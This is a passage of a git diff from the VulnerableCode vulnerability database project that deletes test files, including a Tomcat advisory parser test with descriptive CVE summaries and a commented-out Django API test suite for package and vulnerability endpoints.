    ', - "

    This issue was reported to the Apache Tomcat " - "Security team by Trung Pham\n" - " of Viettel Cyber Security on 12 January 2021. " - "The issue was made public\n" - " on 1 March 2021.

    ", - "

    Affects: 10.0.0-M1 to 10.0.0

    ", - ], - [ - "

    Important: Request mix-up with " - "h2c\n" - "CVE-2021-25122

    ', - "

    When responding to new h2c connection requests, " - "Apache Tomcat could\n" - " duplicate request headers and a limited amount of " - "request body from one\n" - " request to another meaning user A and user B could " - "both see the results of\n" - " user A's request.

    ", - "

    This was fixed with commit\n" - " dd757c0a.

    ', - "

    This issue was identified by the Apache Tomcat " - "Security team on 11\n" - " January 2021. The issue was made public on 1 " - "March 2021.

    ", - "

    Affects: 10.0.0-M1 to 10.0.0

    ", - ], - ], - "fixed_versions": ["10.0.2"], - }, - { - "advisory_groups": [ - [ - "

    Important: Information disclosure\n" - "CVE-2021-24122

    ', - "

    When serving resources from a network location " - "using the NTFS file system\n" - " it was possible to bypass security constraints " - "and/or view the source\n" - " code for JSPs in some configurations. The root " - "cause was the unexpected\n" - " behaviour of the JRE API " - "File.getCanonicalPath() which in\n" - " turn was caused by the inconsistent behaviour " - "of the Windows API\n" - " (FindFirstFileW) in some " - "circumstances.\n" - "

    ", - "

    This was fixed with commit\n" - " 7f004ac4.

    ', - "

    This issue was reported the Apache Tomcat Security " - "team by Ilja Brander\n" - " on 26 October 2020. The issue was made public " - "on 14 January 2021.

    ", - "

    Affects: 10.0.0-M1 to 10.0.0-M9

    ", - ], - [ - "

    Moderate: HTTP/2 request header " - "mix-up\n" - "CVE-2020-17527

    ', - "

    While investigating issue 64830 ' - "it was discovered that Apache\n" - " Tomcat could re-use an HTTP request header " - "value from the previous stream\n" - " received on an HTTP/2 connection for the " - "request associated with the\n" - " subsequent stream. While this would most likely " - "lead to an error and the\n" - " closure of the HTTP/2 connection, it is " - "possible that information could\n" - " leak between requests.\n" - "

    ", - "

    This was fixed with commit\n" - " 8d2fe689.

    ', - "

    This issue was identified by the Apache Tomcat " - "Security team on 10\n" - " November 2020. The issue was made public on 3 " - "December 2020.

    ", - "

    Affects: 10.0.0-M1 to 10.0.0-M9

    ", - ], - ], - "fixed_versions": ["10.0.0-M10"], - }, - ] - - results = extract_tomcat_advisory_data_from_page(page) - results = [d.to_dict() for d in results] - assert results == expected - - -def test_fetch_links(): - retrieved_links = ApacheTomcatImporter().fetch_advisory_links( - "https://tomcat.apache.org/security" - ) - - generator_result = [] - for link in retrieved_links: - generator_result.append(link) - - assert generator_result == [ - "https://tomcat.apache.org/security-11.html", - "https://tomcat.apache.org/security-10.html", - "https://tomcat.apache.org/security-9.html", - "https://tomcat.apache.org/security-8.html", - "https://tomcat.apache.org/security-7.html", - "https://tomcat.apache.org/security-6.html", - "https://tomcat.apache.org/security-5.html", - "https://tomcat.apache.org/security-4.html", - "https://tomcat.apache.org/security-3.html", - ] - - -def test_to_version_ranges(): - versions_data = [ - "1.0.0-2.0.0", - "3.2.2-3.2.3", - "3.3a-3.3.1", - "9.0.0.M1 to 9.0.0.M9", - "10.1.0-M1 to 10.1.0-M16", - ] - fixed_versions = ["3.0.0", "3.3.1a"] - - expected_versions_data_maven = "vers:maven/>=1.0.0|<=2.0.0|!=3.0.0|>=3.2.2|<=3.2.3|>=3.3a|<=3.3.1|!=3.3.1a|>=9.0.0.M1|<=9.0.0.M9|>=10.1.0-M1|<=10.1.0-M16" - - expected_MavenVersionRange_versions_data = MavenVersionRange( - constraints=( - VersionConstraint(comparator=">=", version=MavenVersion(string="1.0.0")), - VersionConstraint(comparator="<=", version=MavenVersion(string="2.0.0")), - VersionConstraint(comparator="!=", version=MavenVersion(string="3.0.0")), - VersionConstraint(comparator=">=", version=MavenVersion(string="3.2.2")), - VersionConstraint(comparator="<=", version=MavenVersion(string="3.2.3")), - VersionConstraint(comparator=">=", version=MavenVersion(string="3.3a")), - VersionConstraint(comparator="<=", version=MavenVersion(string="3.3.1")), - VersionConstraint(comparator="!=", version=MavenVersion(string="3.3.1a")), - VersionConstraint(comparator=">=", version=MavenVersion(string="9.0.0.M1")), - VersionConstraint(comparator="<=", version=MavenVersion(string="9.0.0.M9")), - VersionConstraint(comparator=">=", version=MavenVersion(string="10.1.0-M1")), - VersionConstraint(comparator="<=", version=MavenVersion(string="10.1.0-M16")), - ) - ) - - converted_versions_data_maven = to_version_ranges_maven(versions_data, fixed_versions) - - assert expected_MavenVersionRange_versions_data == converted_versions_data_maven - assert ( - MavenVersionRange.from_string(expected_versions_data_maven) == converted_versions_data_maven - ) - - expected_versions_data_apache = "vers:apache/>=1.0.0|<=2.0.0|!=3.0.0|>=3.2.2|<=3.2.3|>=3.3a|<=3.3.1|!=3.3.1a|>=9.0.0.M1|<=9.0.0.M9|>=10.1.0-M1|<=10.1.0-M16" - - expected_ApacheVersionRange_versions_data = ApacheVersionRange( - constraints=( - VersionConstraint(comparator=">=", version=SemverVersion(string="1.0.0")), - VersionConstraint(comparator="<=", version=SemverVersion(string="2.0.0")), - VersionConstraint(comparator="!=", version=SemverVersion(string="3.0.0")), - VersionConstraint(comparator=">=", version=SemverVersion(string="3.2.2")), - VersionConstraint(comparator="<=", version=SemverVersion(string="3.2.3")), - VersionConstraint(comparator=">=", version=SemverVersion(string="3.3a")), - VersionConstraint(comparator="<=", version=SemverVersion(string="3.3.1")), - VersionConstraint(comparator="!=", version=SemverVersion(string="3.3.1a")), - VersionConstraint(comparator=">=", version=SemverVersion(string="9.0.0.M1")), - VersionConstraint(comparator="<=", version=SemverVersion(string="9.0.0.M9")), - VersionConstraint(comparator=">=", version=SemverVersion(string="10.1.0-M1")), - VersionConstraint(comparator="<=", version=SemverVersion(string="10.1.0-M16")), - ) - ) - - converted_versions_data_apache = to_version_ranges_apache(versions_data, fixed_versions) - - assert expected_ApacheVersionRange_versions_data == converted_versions_data_apache - assert ( - ApacheVersionRange.from_string(expected_versions_data_apache) - == converted_versions_data_apache - ) diff --git a/vulnerabilities/tests/test_api.py b/vulnerabilities/tests/test_api.py deleted file mode 100644 index 06443bea3..000000000 --- a/vulnerabilities/tests/test_api.py +++ /dev/null @@ -1,1415 +0,0 @@ -# # -# # Copyright (c) nexB Inc. and others. All rights reserved. -# # VulnerableCode is a trademark of nexB Inc. -# # SPDX-License-Identifier: Apache-2.0 -# # See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# # See https://github.com/aboutcode-org/vulnerablecode for support or download. -# # See https://aboutcode.org for more information about nexB OSS projects. -# # - -# import json -# import os -# from urllib.parse import quote - -# from django.core.cache import cache -# from django.test import TestCase -# from django.test import TransactionTestCase -# from django.test.client import RequestFactory -# from rest_framework import status -# from rest_framework.test import APIClient - -# from vulnerabilities.api import PackageSerializer -# from vulnerabilities.api import VulnerabilityReferenceSerializer -# from vulnerabilities.models import AffectedByPackageRelatedVulnerability -# from vulnerabilities.models import Alias -# from vulnerabilities.models import ApiUser -# from vulnerabilities.models import FixingPackageRelatedVulnerability -# from vulnerabilities.models import Package -# from vulnerabilities.models import Vulnerability -# from vulnerabilities.models import VulnerabilityReference -# from vulnerabilities.models import VulnerabilityRelatedReference -# from vulnerabilities.models import VulnerabilitySeverity -# from vulnerabilities.models import Weakness -# from vulnerabilities.severity_systems import EPSS - -# BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -# TEST_DATA = os.path.join(BASE_DIR, "test_data") -# TEST_DIR = os.path.join(TEST_DATA, "api") - - -# def cleaned_response(response): -# """ -# Return a cleaned response suitable for comparison in tests in particular: -# - sort lists with a stable order -# """ -# cleaned_response = [] -# response_copy = sorted(response, key=lambda x: x.get("purl", "")) -# for package_data in response_copy: -# package_data["unresolved_vulnerabilities"] = sorted( -# package_data["unresolved_vulnerabilities"], key=lambda x: x["vulnerability_id"] -# ) -# for index, vulnerability in enumerate(package_data["unresolved_vulnerabilities"]): -# package_data["unresolved_vulnerabilities"][index]["references"] = sorted( -# vulnerability["references"], key=lambda x: (x["reference_id"], x["url"]) -# ) -# for index2, reference in enumerate( -# package_data["unresolved_vulnerabilities"][index]["references"] -# ): -# reference["scores"] = sorted( -# reference["scores"], key=lambda x: (x["value"], x["scoring_system"]) -# ) -# package_data["unresolved_vulnerabilities"][index]["references"][index2][ -# "scores" -# ] = reference["scores"] - -# package_data["resolved_vulnerabilities"] = sorted( -# package_data["resolved_vulnerabilities"], key=lambda x: x["vulnerability_id"] -# ) -# for index, vulnerability in enumerate(package_data["resolved_vulnerabilities"]): -# package_data["resolved_vulnerabilities"][index]["references"] = sorted( -# vulnerability["references"], key=lambda x: (x["reference_id"], x["url"]) -# ) -# for index2, reference in enumerate( -# package_data["resolved_vulnerabilities"][index]["references"] -# ): -# reference["scores"] = sorted( -# reference["scores"], key=lambda x: (x["value"], x["scoring_system"]) -# ) -# package_data["resolved_vulnerabilities"][index]["references"][index2]["scores"] = ( -# reference["scores"] -# ) - -# cleaned_response.append(package_data) - -# return cleaned_response - - -# class TestDebianResponse(TransactionTestCase): -# def setUp(self): -# # create one non-debian package called "mimetex" to verify filtering -# Package.objects.create(name="mimetex", version="1.50-1.1", type="deb", namespace="ubuntu") -# self.user = ApiUser.objects.create_api_user(username="e@mail.com") -# self.auth = f"Token {self.user.auth_token.key}" -# self.client = APIClient(enforce_csrf_checks=True) -# self.client.credentials(HTTP_AUTHORIZATION=self.auth) - -# def test_query_qualifier_filtering(self): -# # packages to check filtering with single/multiple and unordered qualifier filtering -# pk_multi_qf = Package.objects.create( -# name="vlc", version="1.50-1.1", type="deb", qualifiers={"foo": "bar", "tar": "ball"} -# ) -# pk_single_qf = Package.objects.create( -# name="vlc", version="1.50-1.1", type="deb", qualifiers={"foo": "bar"} -# ) - -# # check filtering when qualifiers are not normalized -# test_purl = quote("pkg:deb/vlc@1.50-1.1?foo=bar&tar=ball") -# response = self.client.get( -# f"/api/packages/?purl={test_purl}", format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ).data - -# self.assertEqual(2, response["count"]) - -# test_purl = quote("pkg:deb/vlc@1.50-1.1?tar=ball&foo=bar") -# response = self.client.get( -# f"/api/packages/?purl={test_purl}", format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ).data - -# self.assertEqual(2, response["count"]) - -# # check filtering when there is intersection of qualifiers between packages -# test_purl = quote("pkg:deb/vlc@1.50-1.1?foo=bar") -# response = self.client.get( -# f"/api/packages/?purl={test_purl}", format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ).data - -# self.assertEqual(2, response["count"]) - -# def test_query_by_name(self): -# response = self.client.get( -# "/api/packages/?name=mimetex", format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ).data - -# self.assertEqual(1, response["count"]) - -# first_result = response["results"][0] -# self.assertEqual("mimetex", first_result["name"]) - -# versions = {r["version"] for r in response["results"]} -# self.assertIn("1.50-1.1", versions) - -# purls = {r["purl"] for r in response["results"]} -# self.assertIn("pkg:deb/ubuntu/mimetex@1.50-1.1", purls) - -# def test_query_by_invalid_package_url(self): -# url = "/api/packages/?purl=invalid_purl" -# response = self.client.get(url, format="json", HTTP_USER_AGENT="VCIO_API_AGENT") - -# self.assertEqual(400, response.status_code) -# self.assertIn("error", response.data) -# error = response.data["error"] -# self.assertIn("invalid_purl", error) - -# def test_query_by_package_url_without_namespace(self): -# url = "/api/packages/?purl=pkg:deb/mimetex@1.50-1.1" -# response = self.client.get(url, format="json", HTTP_USER_AGENT="VCIO_API_AGENT").data - -# self.assertEqual(1, response["count"]) - -# first_result = response["results"][0] -# self.assertEqual("mimetex", first_result["name"]) - -# purls = {r["purl"] for r in response["results"]} -# self.assertIn("pkg:deb/ubuntu/mimetex@1.50-1.1", purls) - - -# class TestSerializers(TransactionTestCase): -# def setUp(self): -# Package.objects.create( -# name="mimetex", -# version="1.50-1.1", -# type="deb", -# namespace="ubuntu", -# qualifiers={"distro": "jessie"}, -# ) -# self.ref = VulnerabilityReference.objects.create( -# reference_type="advisory", reference_id="CVE-xxx-xxx", url="https://example.com" -# ) -# self.user = ApiUser.objects.create_api_user(username="e@mail.com") -# self.auth = f"Token {self.user.auth_token.key}" -# self.client = APIClient(enforce_csrf_checks=True) -# self.client.credentials(HTTP_AUTHORIZATION=self.auth) - -# def test_package_serializer(self): -# pk = Package.objects.filter(name="mimetex").with_is_vulnerable() -# mock_request = RequestFactory().get("/api") -# response = PackageSerializer(pk, many=True, context={"request": mock_request}).data -# self.assertEqual(1, len(response)) - -# first_result = response[0] -# self.assertEqual("mimetex", first_result["name"]) - -# versions = {r["version"] for r in response} -# self.assertIn("1.50-1.1", versions) - -# purls = {r["purl"] for r in response} -# self.assertIn("pkg:deb/ubuntu/mimetex@1.50-1.1?distro=jessie", purls) - -# def test_vulnerability_reference_serializer(self): -# response = VulnerabilityReferenceSerializer(instance=self.ref).data -# assert response == { -# "reference_url": "https://example.com", -# "reference_id": "CVE-xxx-xxx", -# "reference_type": "advisory", -# "scores": [], -# "url": "https://example.com", -# } - - -# class APITestCaseVulnerability(TransactionTestCase): -# def setUp(self): -# self.user = ApiUser.objects.create_api_user(username="e@mail.com") -# self.auth = f"Token {self.user.auth_token.key}" -# self.csrf_client = APIClient(enforce_csrf_checks=True) -# self.csrf_client.credentials(HTTP_AUTHORIZATION=self.auth) -# for i in range(0, 200): -# Vulnerability.objects.create( -# summary=str(i), -# ) -# self.vulnerability = Vulnerability.objects.create(summary="test") -# self.pkg1 = Package.objects.create(name="flask", type="pypi", version="0.1.2") -# self.pkg2 = Package.objects.create(name="flask", type="deb", version="0.1.2") -# for pkg in [self.pkg1, self.pkg2]: -# FixingPackageRelatedVulnerability.objects.create( -# package=pkg, vulnerability=self.vulnerability -# ) - -# self.reference1 = VulnerabilityReference.objects.create( -# reference_id="", -# url="https://.com", -# ) - -# severity = VulnerabilitySeverity.objects.create( -# url="https://.com", -# scoring_system=EPSS.identifier, -# scoring_elements=".0016", -# value="0.526", -# ) - -# VulnerabilityRelatedReference.objects.create( -# reference=self.reference1, vulnerability=self.vulnerability -# ) - -# self.weaknesses = Weakness.objects.create(cwe_id=119) -# self.weaknesses.vulnerabilities.add(self.vulnerability) -# self.invalid_weaknesses = Weakness.objects.create( -# cwe_id=10000 -# ) # cwe not present in weaknesses_db -# self.invalid_weaknesses.vulnerabilities.add(self.vulnerability) -# self.vulnerability.severities.add(severity) - -# def test_api_status(self): -# response = self.csrf_client.get("/api/vulnerabilities/", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(status.HTTP_200_OK, response.status_code) - -# def test_api_response(self): -# response = self.csrf_client.get( -# "/api/vulnerabilities/", HTTP_USER_AGENT="VCIO_API_AGENT" -# ).data -# self.assertEqual(response["count"], 201) - -# def test_api_with_single_vulnerability(self): -# response = self.csrf_client.get( -# f"/api/vulnerabilities/{self.vulnerability.id}", -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).data - -# assert response == { -# "url": f"http://testserver/api/vulnerabilities/{self.vulnerability.id}", -# "vulnerability_id": self.vulnerability.vulnerability_id, -# "summary": "test", -# "severity_range_score": None, -# "aliases": [], -# "resource_url": f"http://testserver/vulnerabilities/{self.vulnerability.vulnerability_id}", -# "fixed_packages": [ -# { -# "url": f"http://testserver/api/packages/{self.pkg2.id}", -# "purl": "pkg:deb/flask@0.1.2", -# "is_vulnerable": False, -# "affected_by_vulnerabilities": [], -# "resource_url": f"http://testserver/packages/{self.pkg2.purl}", -# }, -# { -# "url": f"http://testserver/api/packages/{self.pkg1.id}", -# "purl": "pkg:pypi/flask@0.1.2", -# "is_vulnerable": False, -# "affected_by_vulnerabilities": [], -# "resource_url": f"http://testserver/packages/{self.pkg1.purl}", -# }, -# ], -# "affected_packages": [], -# "references": [ -# { -# "reference_url": "https://.com", -# "reference_id": "", -# "reference_type": "", -# "scores": [ -# { -# "value": "0.526", -# "scoring_system": "epss", -# "scoring_elements": ".0016", -# } -# ], -# "url": "https://.com", -# } -# ], -# "weaknesses": [ -# { -# "cwe_id": 119, -# "name": "Improper Restriction of Operations within the Bounds of a Memory Buffer", -# "description": "The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.", -# }, -# ], -# "exploits": [], -# "risk_score": None, -# "exploitability": None, -# "weighted_severity": None, -# } - -# def test_api_with_single_vulnerability_with_filters(self): -# response = self.csrf_client.get( -# f"/api/vulnerabilities/{self.vulnerability.id}?type=pypi", -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).data -# assert response == { -# "url": f"http://testserver/api/vulnerabilities/{self.vulnerability.id}", -# "vulnerability_id": self.vulnerability.vulnerability_id, -# "summary": "test", -# "severity_range_score": None, -# "aliases": [], -# "resource_url": f"http://testserver/vulnerabilities/{self.vulnerability.vulnerability_id}", -# "fixed_packages": [ -# { -# "url": f"http://testserver/api/packages/{self.pkg1.id}", -# "purl": "pkg:pypi/flask@0.1.2", -# "is_vulnerable": False, -# "resource_url": f"http://testserver/packages/{self.pkg1.purl}", -# "affected_by_vulnerabilities": [], -# }, -# ], -# "affected_packages": [], -# "references": [ -# { -# "reference_url": "https://.com", -# "reference_id": "", -# "reference_type": "", -# "scores": [ -# { -# "value": "0.526", -# "scoring_system": "epss", -# "scoring_elements": ".0016", -# } -# ], -# "url": "https://.com", -# } -# ], -# "weaknesses": [ -# { -# "cwe_id": 119, -# "name": "Improper Restriction of Operations within the Bounds of a Memory Buffer", -# "description": "The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.", -# }, -# ], -# "exploits": [], -# "risk_score": None, -# "exploitability": None, -# "weighted_severity": None, -# } - -# def test_api_with_single_vulnerability_no_ghost_fix(self): -# self.pkg2.is_ghost = True -# self.pkg1.is_ghost = True -# self.pkg2.save() -# self.pkg1.save() - -# response = self.csrf_client.get( -# f"/api/vulnerabilities/{self.vulnerability.id}", -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).data - -# expected = { -# "url": f"http://testserver/api/vulnerabilities/{self.vulnerability.id}", -# "vulnerability_id": self.vulnerability.vulnerability_id, -# "summary": "test", -# "severity_range_score": None, -# "aliases": [], -# "resource_url": f"http://testserver/vulnerabilities/{self.vulnerability.vulnerability_id}", -# "fixed_packages": [], -# "affected_packages": [], -# "references": [ -# { -# "reference_url": "https://.com", -# "reference_id": "", -# "reference_type": "", -# "scores": [ -# { -# "value": "0.526", -# "scoring_system": "epss", -# "scoring_elements": ".0016", -# } -# ], -# "url": "https://.com", -# } -# ], -# "weaknesses": [ -# { -# "cwe_id": 119, -# "name": "Improper Restriction of Operations within the Bounds of a Memory Buffer", -# "description": "The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.", -# }, -# ], -# "exploits": [], -# "risk_score": None, -# "exploitability": None, -# "weighted_severity": None, -# } - -# assert expected == response - - -# def set_as_affected_by(package, vulnerability): -# """ -# Set the ``package`` Package as affected by the ``vulnerability`` Vulnerability. -# """ -# _set_pkg_as(package, vulnerability, fixing=False) - - -# def set_as_fixing(package, vulnerability): -# """ -# Set the ``package`` Package as fixing the ``vulnerability`` Vulnerability. -# """ -# _set_pkg_as(package, vulnerability, fixing=True) - - -# def _set_pkg_as(package, vulnerability, fixing=False): -# """ -# Set the ``package`` Package as affected or fixing the ``vulnerability`` Vulnerability. -# """ -# if fixing: -# FixingPackageRelatedVulnerability.objects.create( -# package=package, -# vulnerability=vulnerability, -# ) -# else: -# AffectedByPackageRelatedVulnerability.objects.create( -# package=package, -# vulnerability=vulnerability, -# ) - - -# def create_vuln(vcid, aliases=()): -# """ -# Return a test Vulnerability using the ``vcid`` string as VCID, using optional aliases. -# """ -# vuln = Vulnerability.objects.create(summary=f"This is {vcid}", vulnerability_id=vcid) -# add_aliases(vuln, aliases) -# return vuln - - -# def add_aliases(vuln, aliases): -# """ -# Add aliases to ``vuln`` Vulnerability. -# """ -# for alias in aliases: -# Alias.objects.create(alias=alias, vulnerability=vuln) - - -# class APIPerformanceTest(TestCase): -# def setUp(self): -# cache.clear() -# self.csrf_client = APIClient(enforce_csrf_checks=True) - -# # This setup creates the following data: -# # vulnerabilities: vul1, vul2, vul3 -# # pkg:maven/com.fasterxml.jackson.core/jackson-databind -# # with these versions: -# # pkg_2_12_6: @ 2.12.6 affected by fixing vul3 -# # pkg_2_12_6_1: @ 2.12.6.1 affected by vul2 fixing vul1 -# # pkg_2_13_1: @ 2.13.1 affected by vul1 fixing vul3 -# # pkg_2_13_2: @ 2.13.2 affected by vul2 fixing vul1 -# # pkg_2_14_0_rc1: @ 2.14.0-rc1 affected by fixing - -# # searched-for pkg's vuln -# self.vul1 = create_vuln("VCID-vul1-vul1-vul1", ["CVE-2020-36518", "GHSA-57j2-w4cx-62h2"]) -# self.vul2 = create_vuln("VCID-vul2-vul2-vul2") -# # This is the vuln fixed by the searched-for pkg -- and by a lesser version (created below), -# # which WILL be included in the API -# self.vul3 = create_vuln("VCID-vul3-vul3-vul3", ["CVE-2021-46877", "GHSA-3x8x-79m2-3w2w"]) - -# from_purl = Package.objects.from_purl -# # lesser-version pkg that also fixes the vuln fixed by the searched-for pkg -# self.pkg_2_12_6 = from_purl("pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.12.6") -# # this is a lesser version omitted from the API that fixes searched-for pkg's vuln -# self.pkg_2_12_6_1 = from_purl( -# "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.12.6.1" -# ) -# # searched-for pkg -# self.pkg_2_13_1 = from_purl("pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.1") -# # this is a greater version that fixes searched-for pkg's vuln -# self.pkg_2_13_2 = from_purl("pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.2") -# # This addresses both next and latest non-vulnerable pkg -# self.pkg_2_14_0_rc1 = from_purl( -# "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.14.0-rc1" -# ) -# self.pkg_2_12_6.calculate_version_rank - -# set_as_fixing(package=self.pkg_2_12_6, vulnerability=self.vul3) - -# set_as_affected_by(package=self.pkg_2_12_6_1, vulnerability=self.vul2) -# set_as_fixing(package=self.pkg_2_12_6_1, vulnerability=self.vul1) - -# set_as_affected_by(package=self.pkg_2_13_1, vulnerability=self.vul1) -# set_as_fixing(package=self.pkg_2_13_1, vulnerability=self.vul3) - -# set_as_affected_by(package=self.pkg_2_13_2, vulnerability=self.vul2) -# set_as_fixing(package=self.pkg_2_13_2, vulnerability=self.vul1) - -# def test_api_packages_all_num_queries(self): -# with self.assertNumQueries(3): -# # There are 4 queries: -# # 1. SAVEPOINT -# # 2. Authenticating user -# # 3. Get all vulnerable packages -# # 4. RELEASE SAVEPOINT -# response = self.csrf_client.get( -# f"/api/packages/all", format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ).data - -# assert len(response) == 3 -# assert list(response) == [ -# "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.12.6.1", -# "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.1", -# "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.2", -# ] - -# def test_api_packages_single_num_queries(self): -# with self.assertNumQueries(7): -# self.csrf_client.get( -# f"/api/packages/{self.pkg_2_14_0_rc1.id}", -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) - -# def test_api_packages_single_with_purl_in_query_num_queries(self): -# with self.assertNumQueries(8): -# self.csrf_client.get( -# f"/api/packages/?purl={self.pkg_2_14_0_rc1.purl}", -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) - -# def test_api_packages_single_with_purl_no_version_in_query_num_queries(self): -# with self.assertNumQueries(63): -# self.csrf_client.get( -# f"/api/packages/?purl=pkg:maven/com.fasterxml.jackson.core/jackson-databind", -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) - -# def test_api_packages_bulk_search(self): -# with self.assertNumQueries(44): -# packages = [self.pkg_2_12_6, self.pkg_2_12_6_1, self.pkg_2_13_1] -# purls = [p.purl for p in packages] - -# data = {"purls": purls, "purl_only": False, "plain_purl": True} - -# resp = self.csrf_client.post( -# f"/api/packages/bulk_search", -# data=json.dumps(data), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() - -# def test_api_packages_with_lookup(self): -# with self.assertNumQueries(13): -# data = {"purl": self.pkg_2_12_6.purl} - -# resp = self.csrf_client.post( -# f"/api/packages/lookup", -# data=json.dumps(data), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() - -# def test_api_packages_bulk_lookup(self): -# with self.assertNumQueries(44): -# packages = [self.pkg_2_12_6, self.pkg_2_12_6_1, self.pkg_2_13_1] -# purls = [p.purl for p in packages] - -# data = {"purls": purls} - -# resp = self.csrf_client.post( -# f"/api/packages/bulk_lookup", -# data=json.dumps(data), -# content_type="application/json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ).json() - - -# class APITestCasePackage(TestCase): -# def setUp(self): -# cache.clear() -# self.csrf_client = APIClient(enforce_csrf_checks=True) - -# # This setup creates the following data: -# # vulnerabilities: vul1, vul2, vul3 -# # pkg:maven/com.fasterxml.jackson.core/jackson-databind -# # with these versions: -# # pkg_2_12_6: @ 2.12.6 affected by fixing vul3 -# # pkg_2_12_6_1: @ 2.12.6.1 affected by vul2 fixing vul1 -# # pkg_2_13_1: @ 2.13.1 affected by vul1 fixing vul3 -# # pkg_2_13_2: @ 2.13.2 affected by vul2 fixing vul1 -# # pkg_2_14_0_rc1: @ 2.14.0-rc1 affected by fixing - -# # searched-for pkg's vuln -# self.vul1 = create_vuln("VCID-vul1-vul1-vul1", ["CVE-2020-36518", "GHSA-57j2-w4cx-62h2"]) -# self.vul2 = create_vuln("VCID-vul2-vul2-vul2") -# # This is the vuln fixed by the searched-for pkg -- and by a lesser version (created below), -# # which WILL be included in the API -# self.vul3 = create_vuln("VCID-vul3-vul3-vul3", ["CVE-2021-46877", "GHSA-3x8x-79m2-3w2w"]) - -# from_purl = Package.objects.from_purl -# # lesser-version pkg that also fixes the vuln fixed by the searched-for pkg -# self.pkg_2_12_6 = from_purl("pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.12.6") -# # this is a lesser version omitted from the API that fixes searched-for pkg's vuln -# self.pkg_2_12_6_1 = from_purl( -# "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.12.6.1" -# ) -# # searched-for pkg -# self.pkg_2_13_1 = from_purl("pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.1") -# # this is a greater version that fixes searched-for pkg's vuln -# self.pkg_2_13_2 = from_purl("pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.2") -# # This addresses both next and latest non-vulnerable pkg -# self.pkg_2_14_0_rc1 = from_purl( -# "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.14.0-rc1" -# ) -# self.pkg_2_12_6.calculate_version_rank - -# self.ref = VulnerabilityReference.objects.create( -# reference_type="advisory", reference_id="CVE-xxx-xxx", url="https://example.com" -# ) - -# self.severity = VulnerabilitySeverity.objects.create( -# url="https://example.com", -# scoring_system=EPSS.identifier, -# scoring_elements=".0016", -# value="0.526", -# ) -# self.vul1.references.add(self.ref) -# self.vul1.severities.add(self.severity) - -# self.vul3.references.add(self.ref) -# self.vul3.severities.add(self.severity) - -# set_as_fixing(package=self.pkg_2_12_6, vulnerability=self.vul3) - -# set_as_affected_by(package=self.pkg_2_12_6_1, vulnerability=self.vul2) -# set_as_fixing(package=self.pkg_2_12_6_1, vulnerability=self.vul1) - -# set_as_affected_by(package=self.pkg_2_13_1, vulnerability=self.vul1) -# set_as_fixing(package=self.pkg_2_13_1, vulnerability=self.vul3) - -# set_as_affected_by(package=self.pkg_2_13_2, vulnerability=self.vul2) -# set_as_fixing(package=self.pkg_2_13_2, vulnerability=self.vul1) - -# def test_api_with_lesser_and_greater_fixed_by_packages(self): -# response = self.csrf_client.get( -# f"/api/packages/{self.pkg_2_13_1.id}", format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ).data - -# expected = { -# "url": "http://testserver/api/packages/{0}".format(self.pkg_2_13_1.id), -# "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.1", -# "type": "maven", -# "namespace": "com.fasterxml.jackson.core", -# "name": "jackson-databind", -# "version": "2.13.1", -# "qualifiers": {}, -# "subpath": "", -# "is_vulnerable": True, -# "next_non_vulnerable_version": "2.14.0-rc1", -# "latest_non_vulnerable_version": "2.14.0-rc1", -# "affected_by_vulnerabilities": [ -# { -# "url": "http://testserver/api/vulnerabilities/{0}".format(self.vul1.id), -# "vulnerability_id": "VCID-vul1-vul1-vul1", -# "summary": "This is VCID-vul1-vul1-vul1", -# "references": [ -# { -# "reference_url": "https://example.com", -# "reference_id": "CVE-xxx-xxx", -# "reference_type": "advisory", -# "scores": [ -# { -# "value": "0.526", -# "scoring_system": "epss", -# "scoring_elements": ".0016", -# } -# ], -# "url": "https://example.com", -# } -# ], -# "fixed_packages": [ -# { -# "url": "http://testserver/api/packages/{0}".format(self.pkg_2_13_2.id), -# "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.2", -# "is_vulnerable": True, -# "affected_by_vulnerabilities": [ -# {"vulnerability": "VCID-vul2-vul2-vul2"} -# ], -# "resource_url": "http://testserver/packages/pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.2", -# } -# ], -# "aliases": ["CVE-2020-36518", "GHSA-57j2-w4cx-62h2"], -# "risk_score": None, -# "exploitability": None, -# "weighted_severity": None, -# "resource_url": "http://testserver/vulnerabilities/VCID-vul1-vul1-vul1", -# } -# ], -# "fixing_vulnerabilities": [ -# { -# "url": "http://testserver/api/vulnerabilities/{0}".format(self.vul3.id), -# "vulnerability_id": 